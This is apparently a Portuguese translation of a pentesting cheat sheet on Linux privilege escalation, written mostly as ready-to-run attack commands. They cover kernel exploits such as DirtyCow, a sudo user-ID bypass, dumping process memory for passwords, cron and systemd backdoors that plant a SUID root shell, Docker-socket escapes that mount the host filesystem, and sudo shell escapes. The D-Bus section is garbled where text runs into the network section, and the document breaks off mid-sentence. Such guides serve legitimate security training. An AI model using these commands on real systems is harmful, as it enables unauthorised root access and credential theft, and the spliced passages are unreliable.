# Escalação de Privilégios no Linux
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## Informações do Sistema ### Informações do SO Vamos começar obtendo algum conhecimento sobre o SO em execução ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Caminho Se você **tem permissões de escrita em qualquer pasta dentro da variável `PATH`**, você pode ser capaz de sequestrar algumas bibliotecas ou binários: ```bash echo $PATH ``` ### Informações do ambiente Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? ```bash (env || set) 2>/dev/null ``` ### Explorações do Kernel Verifique a versão do kernel e se há algum exploit que possa ser usado para escalar privilégios ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` Você pode encontrar uma boa lista de kernels vulneráveis e alguns **exploits compilados** aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ Outros sites onde você pode encontrar alguns **exploits compilados**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Para extrair todas as versões de kernel vulneráveis desse site, você pode fazer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` Ferramentas que podem ajudar a procurar por exploits de kernel são: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute NO vítima, verifica apenas exploits para kernel 2.x) Sempre **pesquise a versão do kernel no Google**, talvez a sua versão do kernel esteja escrita em algum exploit de kernel e então você terá certeza de que este exploit é válido. ### CVE-2016-5195 (DirtyCow) Elevação de Privilégio no Linux - Kernel Linux <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Versão do Sudo Baseado nas versões vulneráveis do sudo que aparecem em: ```bash searchsploit sudo ``` Você pode verificar se a versão do sudo é vulnerável usando este grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` #### sudo < v1.28 De @sickrov ``` sudo -u#-1 /bin/bash ``` ### Falha na verificação de assinatura do Dmesg Verifique a **caixa smasher2 do HTB** para um **exemplo** de como essa vulnerabilidade poderia ser explorada ```bash dmesg 2>/dev/null | grep "signature" ``` ### Mais enumeração do sistema ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` ## Enumeração de possíveis defesas ### AppArmor ```bash if [ `which aa-status 2>/dev/null` ]; then aa-status elif [ `which apparmor_status 2>/dev/null` ]; then apparmor_status elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then ls -d /etc/apparmor* else echo "Not found AppArmor" fi ``` ### Grsecurity ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` ### PaX ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` ### Execshield ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` ### SElinux ```bash (sestatus 2>/dev/null || echo "Not found sestatus") ``` ### ASLR ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` ## Fuga do Docker Se você estiver dentro de um contêiner Docker, você pode tentar escapar dele: {% content-ref url="docker-security/" %} [docker-security](docker-security/) {% endcontent-ref %} ## Drives Verifique **o que está montado e desmontado**, onde e por quê. Se algo estiver desmontado, você pode tentar montá-lo e verificar se há informações privadas ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` ## Software útil Enumere binários úteis ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` Também, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma similar). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software Vulnerável Instalado Verifique a **versão dos pacotes e serviços instalados**. Talvez haja alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalar privilégios...\ É recomendado verificar manualmente a versão do software instalado mais suspeito. ```bash dpkg -l #Debian rpm -qa #Centos ``` Se você tem acesso SSH à máquina, você também pode usar o **openVAS** para verificar se há softwares desatualizados e vulneráveis instalados na máquina. {% hint style="info" %} _Note que esses comandos mostrarão muitas informações que serão em sua maioria inúteis, portanto, é recomendado o uso de algumas aplicações como o OpenVAS ou similares que verificarão se alguma versão de software instalado é vulnerável a exploits conhecidos_ {% endhint %} ## Processos Observe **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado pelo root?). ```bash ps aux ps -ef top -n 1 ``` Sempre verifique a possibilidade de [**depuradores electron/cef/chromium** em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` na linha de comando do processo.\ Verifique também **seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever algum. ### Monitoramento de processos Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados frequentemente ou quando um conjunto de requisitos é atendido. ### Memória do processo Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\ Normalmente, você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e quer descobrir mais credenciais.\ No entanto, lembre-se de que **como um usuário regular você pode ler a memória dos processos que possui**. {% hint style="warning" %} Observe que hoje em dia a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode despejar outros processos que pertencem ao seu usuário não privilegiado. O arquivo _**/proc/sys/kernel/yama/ptrace\_scope**_ controla a acessibilidade do ptrace: * **kernel.yama.ptrace\_scope = 0**: todos os processos podem ser depurados, desde que tenham o mesmo uid. Esta é a maneira clássica de como o ptracing funcionava. * **kernel.yama.ptrace\_scope = 1**: apenas um processo pai pode ser depurado. * **kernel.yama.ptrace\_scope = 2**: Apenas o administrador pode usar ptrace, pois é necessária a capacidade CAP\_SYS\_PTRACE. * **kernel.yama.ptrace\_scope = 3**: Nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessário reiniciar para habilitar o ptrace novamente. {% endhint %} #### GDB Se você tem acesso à memória de um serviço FTP (por exemplo), você poderia obter o Heap e procurar dentro dele por credenciais. ```bash gdb -p (gdb) info proc mappings (gdb) q (gdb) dump memory /tmp/mem_ftp (gdb) q strings /tmp/mem_ftp #User and password ``` #### Script GDB {% code title="dump-memory.sh" %} ```bash #!/bin/bash #./dump-memory.sh grep rw-p /proc/$1/maps \ | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ | while read start stop; do \ gdb --batch --pid $1 -ex \ "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ done ``` #### /proc/$pid/maps & /proc/$pid/mem Para um determinado ID de processo, **maps mostra como a memória está mapeada dentro do espaço de endereço virtual desse processo**; ele também mostra as **permissões de cada região mapeada**. O pseudo arquivo **mem** **expõe a própria memória dos processos**. A partir do arquivo **maps**, sabemos quais **regiões de memória são legíveis** e seus deslocamentos. Usamos essas informações para **buscar no arquivo mem e despejar todas as regiões legíveis** em um arquivo. ```bash procdump() ( cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" while read a b; do dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" done ) cat $1*.bin > $1.dump rm $1*.bin ) ``` #### /dev/mem `/dev/mem` oferece acesso à memória **física** do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.\ Tipicamente, `/dev/mem` só pode ser lido por **root** e pelo grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump para Linux ProcDump é uma recriação para Linux da clássica ferramenta ProcDump do conjunto de ferramentas Sysinternals para Windows. Obtenha-a em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 ProcDump v1.2 - Sysinternals process dump utility Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license. Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi Monitors a process and writes a dump file when the process meets the specified criteria. Process: sleep (1714) CPU Threshold: n/a Commit Threshold: n/a Thread Threshold: n/a File descriptor Threshold: n/a Signal: n/a Polling interval (ms): 1000 Threshold (s): 10 Number of Dumps: 1 Output directory for core dumps: . Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` ### Ferramentas Para despejar a memória de um processo, você pode usar: * [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) * [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e despejar o processo que pertence a você * Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) ### Credenciais da Memória do Processo #### Exemplo Manual Se você descobrir que o processo do autenticador está em execução: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` Você pode despejar o processo (veja as seções anteriores para encontrar diferentes maneiras de despejar a memória de um processo) e procurar por credenciais dentro da memória: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá **roubar credenciais em texto claro da memória** e de alguns **arquivos bem conhecidos**. Ela requer privilégios de root para funcionar corretamente. | Recurso | Nome do Processo | | --------------------------------------------------- | ---------------------- | | Senha do GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Conexões FTP Ativas) | vsftpd | | Apache2 (Sessões Ativas de Autenticação Básica HTTP)| apache2 | | OpenSSH (Sessões SSH Ativas - Uso do Sudo) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ # coredumping pid 6174 Reading symbols from od... Reading symbols from /usr/lib/systemd/systemd... Reading symbols from /lib/systemd/libsystemd-shared-247.so... Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... [...] # extracting strings to /tmp/tmp.o6HV0Pl3fe # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` ## Tarefas Agendadas/Cron Verifique se alguma tarefa agendada é vulnerável. Talvez você possa tirar vantagem de um script sendo executado pelo root (vulnerabilidade de wildcard? pode modificar arquivos que o root usa? usar symlinks? criar arquivos específicos no diretório que o root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` ### Caminho do Cron Por exemplo, dentro de _/etc/crontab_ você pode encontrar o PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Observe como o usuário "user" tem privilégios de escrita sobre /home/user_) Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o caminho. Por exemplo: _\* \* \* \* root overwrite.sh_\ Então, você pode obter um shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` ### Cron usando um script com um curinga (Wildcard Injection) Se um script executado pelo root contém um "**\***" dentro de um comando, você pode explorar isso para fazer coisas inesperadas (como privesc). Exemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` **Se o curinga for precedido de um caminho como** _**/algum/caminho/\***_, **não é vulnerável (mesmo** _**./\***_ **não é).** Leia a seguinte página para mais truques de exploração de curingas: {% content-ref url="wildcards-spare-tricks.md" %} [wildcards-spare-tricks.md](wildcards-spare-tricks.md) {% endcontent-ref %} ### Sobrescrita de script de cron e symlink Se você **pode modificar um script de cron** executado pelo root, você pode obter um shell muito facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` Se o script executado pelo root usa um **diretório onde você tem acesso total**, talvez possa ser útil deletar essa pasta e **criar um symlink para outra** que contenha um script controlado por você. ```bash ln -d -s ``` ### Tarefas cron frequentes Você pode monitorar os processos para buscar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa tirar vantagem disso e escalar privilégios. Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e deletar os comandos que foram mais executados, você pode fazer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` **Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso irá monitorar e listar todos os processos que iniciam). ### Cron jobs invisíveis É possível criar um cronjob **colocando um retorno de carro após um comentário** (sem caractere de nova linha), e o cron job funcionará. Exemplo (observe o caractere de retorno de carro): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Serviços ### Arquivos _.service_ editáveis Verifique se você pode editar algum arquivo `.service`, se puder, você **pode modificá-lo** para que **execute** sua **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\ Por exemplo, crie sua backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** ### Binários de serviço editáveis Lembre-se de que se você tem **permissões de escrita sobre binários que estão sendo executados por serviços**, você pode substituí-los por backdoors para que, quando os serviços forem reexecutados, as backdoors sejam executadas. ### systemd PATH - Caminhos Relativos Você pode ver o PATH usado pelo **systemd** com: ```bash systemctl show-environment ``` Se você descobrir que pode **escrever** em qualquer uma das pastas do caminho, você pode ser capaz de **escalar privilégios**. Você precisa procurar por **caminhos relativos sendo usados em arquivos de configurações de serviços** como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` Então, crie um **executável** com o **mesmo nome que o binário do caminho relativo** dentro da pasta PATH do systemd onde você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor será executado** (usuários não privilegiados geralmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). **Saiba mais sobre serviços com `man systemd.service`.** ## **Timers** **Timers** são arquivos de unidade systemd cujo nome termina em `**.timer**` que controlam arquivos `**.service**` ou eventos. **Timers** podem ser usados como uma alternativa ao cron, pois têm suporte integrado para eventos de tempo de calendário e eventos de tempo monótono e podem ser executados de forma assíncrona. Você pode enumerar todos os timers com: ```bash systemctl list-timers --all ``` ### Timers editáveis Se você pode modificar um timer, você pode fazê-lo executar algumas instâncias de systemd.unit (como um `.service` ou um `.target`) ```bash Unit=backdoor.service ``` Na documentação, você pode ler o que a Unidade é: > A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, esse valor é padrão para um serviço que tem o mesmo nome que a unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendado que o nome da unidade que é ativada e o nome da unidade do temporizador sejam idênticos, exceto pelo sufixo. Portanto, para abusar dessa permissão, você precisaria: * Encontrar alguma unidade systemd (como um `.service`) que esteja **executando um binário gravável** * Encontrar alguma unidade systemd que esteja **executando um caminho relativo** e você tenha **privilégios graváveis** sobre o **caminho do systemd** (para se passar por esse executável) **Aprenda mais sobre temporizadores com `man systemd.timer`.** ### **Habilitando Temporizador** Para habilitar um temporizador, você precisa de privilégios de root e executar: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` Observe que o **timer** é **ativado** ao criar um symlink para ele em `/etc/systemd/system/.wants/.timer` ## Sockets Resumidamente, um Socket Unix (tecnicamente, o nome correto é Unix Domain Socket, **UDS**) permite a **comunicação entre dois processos diferentes** seja na mesma máquina ou em máquinas diferentes em frameworks de aplicação cliente-servidor. Para ser mais preciso, é uma forma de comunicação entre computadores usando um arquivo de descritores Unix padrão. (De [aqui](https://www.linux.com/news/what-socket/)). Sockets podem ser configurados usando arquivos `.socket`. **Aprenda mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: * `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opções são diferentes, mas um resumo é usado para **indicar onde vai escutar** o socket (o caminho do arquivo de socket AF\_UNIX, o número IPv4/6 e/ou porta para escutar, etc.) * `Accept`: Recebe um argumento booleano. Se **verdadeiro**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ela. Se **falso**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **Por padrão é falso**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma forma que seja adequada para `Accept=no`. * `ExecStartPre`, `ExecStartPost`: Recebe uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta são **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos para o processo. * `ExecStopPre`, `ExecStopPost`: **Comandos adicionais** que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta são **fechados** e removidos, respectivamente. * `Service`: Especifica o nome da unidade de **serviço** a ser **ativada** em **tráfego recebido**. Esta configuração só é permitida para sockets com Accept=no. O padrão é o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção. ### Arquivos .socket graváveis Se você encontrar um arquivo `.socket` **gravável**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes que o socket seja criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ _Observe que o sistema deve estar usando essa configuração de arquivo de socket ou o backdoor não será executado_ ### Sockets graváveis Se você **identificar qualquer socket gravável** (_agora estamos falando sobre Unix Sockets e não sobre os arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. ### Enumerar Unix Sockets ```bash netstat -a -p --unix ``` ### Conexão Bruta ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` **Exemplo de exploração:** {% content-ref url="socket-command-injection.md" %} [socket-command-injection.md](socket-command-injection.md) {% endcontent-ref %} ### Sockets HTTP Note que podem existir alguns **sockets à espera de pedidos HTTP** (_Não estou me referindo a arquivos .socket, mas aos arquivos que atuam como unix sockets_). Você pode verificar isso com: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` Se o socket **responder com uma requisição HTTP**, então você pode **comunicar** com ele e talvez **explorar alguma vulnerabilidade**. ### Socket Docker Gravável O **socket docker** geralmente está localizado em `/var/run/docker.sock` e só pode ser gravado pelo usuário `root` e pelo grupo `docker`.\ Se por algum motivo **você tiver permissões de escrita** sobre esse socket, você pode escalar privilégios.\ Os seguintes comandos podem ser usados para escalar privilégios: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` #### Utilize a API web do docker a partir do socket sem o pacote docker Se você tem acesso ao **socket do docker** mas não pode usar o binário docker (talvez ele nem esteja instalado), você pode usar a API web diretamente com `curl`. Os comandos a seguir são um exemplo de como **criar um container docker que monta a raiz** do sistema hospedeiro e usar `socat` para executar comandos no novo docker. ```bash # List docker images curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json #[{"Containers":-1,"Created":1588544489,"Id":"sha256:",...}] # Send JSON to docker API to create the container curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create #{"Id":"","Warnings":[]} curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` O último passo é usar `socat` para iniciar uma conexão com o container, enviando uma solicitação de "attach" ```bash socat - UNIX-CONNECT:/var/run/docker.sock POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 Host: Connection: Upgrade Upgrade: tcp #HTTP/1.1 101 UPGRADED #Content-Type: application/vnd.docker.raw-stream #Connection: Upgrade #Upgrade: tcp ``` Agora, você pode executar comandos no container a partir desta conexão `socat`. ### Outros Observe que se você tem permissões de escrita no socket do docker porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/#docker-group). Se a [**API do docker estiver ouvindo em uma porta**, você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Confira **mais maneiras de sair do docker ou abusar dele para escalar privilégios** em: {% content-ref url="docker-security/" %} [docker-security](docker-security/) {% endcontent-ref %} ## Escalação de privilégios Containerd (ctr) Se você descobrir que pode usar o comando **`ctr`**, leia a seguinte página, pois **você pode ser capaz de abusar dele para escalar privilégios**: {% content-ref url="containerd-ctr-privilege-escalation.md" %} [containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md) {% endcontent-ref %} ## Escalação de privilégios **RunC** Se você descobrir que pode usar o comando **`runc`**, leia a seguinte página, pois **você pode ser capaz de abusar dele para escalar privilégios**: {% content-ref url="runc-privilege-escalation.md" %} [runc-privilege-escalation.md](runc-privilege-escalation.md) {% endcontent-ref %} ## **D-Bus** D-BUS é um sistema de **Comunicação Inter-Processos (IPC)**, fornecendo um mecanismo simples, porém poderoso, **permitindo que aplicações conversem entre si**, comuniquem informações e solicitem serviços. O D-BUS foi projetado do zero para atender às necessidades de um sistema Linux moderno. Como um sistema IPC e de objetos completo, o D-BUS tem várias utilizações pretendidas. Primeiro, o D-BUS pode realizar IPC de aplicativos básicos, permitindo que um processo transfira dados para outro—pense em **sockets de domínio UNIX com esteroides**. Segundo, o D-BUS pode facilitar o envio de eventos ou sinais pelo sistema, permitindo que diferentes componentes do sistema se comuniquem e se integrem melhor. Por exemplo, um daemon Bluetooth pode enviar um sinal de chamada recebida que seu player de música pode interceptar, silenciando o volume até que a chamada termine. Finalmente, o D-BUS implementa um sistema de objetos remotos, permitindo que um aplicativo solicite serviços e invoque métodos de um objeto diferente—pense em CORBA sem as complicações. (De [aqui](https://www.linuxjournal.com/article/7744)). O D-Bus usa um modelo de **permitir/negar**, onde cada mensagem (chamada de método, emissão de sinal, etc.) pode ser **permitida ou negada** de acordo com a soma de todas as regras de política que a correspondem. Cada regra na política deve ter o atributo `own`, `send_destination` ou `receive_sender` definido. Parte da política de `/etc/dbus-1/system.d/wpa_supplicant.conf`: ```markup ``` Portanto, se uma política está permitindo que seu usuário **interaja com o barramento** de alguma forma, você poderá explorá-la para escalar privilégios (talvez apenas listando algumas senhas?). Note que uma **política** que **não especifica** nenhum usuário ou grupo afeta a todos (``).\ Políticas no contexto "default" afetam todos que não são afetados por outras políticas (`/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null) #Files used by network services lsof -i ``` ### Portas abertas Verifique sempre os serviços de rede em execução na máquina com os quais você não conseguiu interagir antes de acessá-la: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing Verifique se você pode capturar tráfego. Se puder, você pode conseguir obter algumas credenciais. ``` timeout 1 tcpdump ``` ## Usuários ### Enumeração Genérica Verifique **quem** você é, quais **privilégios** você possui, quais **usuários** estão nos sistemas, quais podem **fazer login** e quais têm **privilégios de root:** ```bash #Info about me id || (whoami && groups) 2>/dev/null #List all users cat /etc/passwd | cut -d: -f1 #List users with console cat /etc/passwd | grep "sh$" #List superusers awk -F: '($3 == "0") {print}' /etc/passwd #Currently logged users w #Login history last | tail #Last log of each user lastlog #List all users and their groups for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort #Current user PGP keys gpg --list-keys 2>/dev/null ``` ### Big UID Algumas versões do Linux foram afetadas por um bug que permite a usuários com **UID > INT\_MAX** escalar privilégios. Mais informações: [aqui](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [aqui](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) e [aqui](https://twitter.com/paragonsec/status/1071152249529884674).\ **Explore isso** usando: **`systemd-run -t /bin/bash`** ### Grupos Verifique se você é **membro de algum grupo** que poderia conceder-lhe privilégios de root: {% content-ref url="interesting-groups-linux-pe/" %} [interesting-groups-linux-pe](interesting-groups-linux-pe/) {% endcontent-ref %} ### Área de Transferência Verifique se há algo interessante localizado dentro da área de transferência (se possível) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` echo "Highlighted text: "`xclip -o 2>/dev/null` elif [ `which xsel 2>/dev/null` ]; then echo "Clipboard: "`xsel -ob 2>/dev/null` echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` ### Política de Senhas ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### Senhas conhecidas Se você **sabe alguma senha** do ambiente, **tente fazer login como cada usuário** usando a senha. ### Su Brute Se não se importar em fazer barulho e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar força bruta no usuário usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta força bruta nos usuários. ## Abusos de PATH gravável ### $PATH Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, você pode ser capaz de escalar privilégios **criando uma porta dos fundos dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta localizada anteriormente** à sua pasta gravável no $PATH. ### SUDO e SUID Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique isso usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` Alguns **comandos inesperados permitem que você leia e/ou escreva arquivos ou até mesmo execute um comando.** Por exemplo: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh sudo tar c a.tar -I ./runme.sh a ftp>!/bin/sh less>! ``` ### NOPASSWD A configuração do Sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem conhecer a senha. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` Neste exemplo, o usuário `demo` pode executar `vim` como `root`, agora é trivial obter um shell adicionando uma chave ssh no diretório root ou chamando `sh`. ``` sudo vim -c '!sh' ``` ### SETENV Esta diretiva permite ao usuário **definir uma variável de ambiente** enquanto executa algo: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` Este 